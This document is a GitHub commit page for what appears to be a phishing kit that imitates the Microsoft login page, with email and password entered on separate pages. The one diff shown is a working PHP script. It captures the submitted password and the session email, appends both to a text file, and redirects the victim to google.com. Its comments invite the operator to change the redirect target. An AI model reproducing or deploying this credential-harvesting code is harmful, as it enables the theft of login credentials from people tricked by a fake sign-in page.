Microsoft login page updated

email and pass fields on separate pages.
This commit is contained in:
Usama Abdul Sattar 2019-06-15 10:56:50 +05:00 committed by GitHub
parent 9adc6ea5e0
commit 7e1d7e03e1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 300 additions and 0 deletions

127
WebPages/live_web/index.php Normal file

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,22 @@
<?php
session_start();
$pass = $_POST["passwd"];
$email=$_SESSION["Email"];
//opening logins text file for appending new data.
//$file = fopen("usernames.txt") or die("Unable to open file!");
//Writing email and password to logins.txt.
file_put_contents("usernames.txt", "[EMAIL]: " . $email . " [PASS]: " . $pass . "\n", FILE_APPEND);
//redirecting user to the google drive's locations where the game is available to download.
//change the location url to redirect to a website of your choice.
header('Location: https://www.google.com');
exit();
session_destroy();
?>

151
WebPages/live_web/pass.php Normal file

File diff suppressed because one or more lines are too long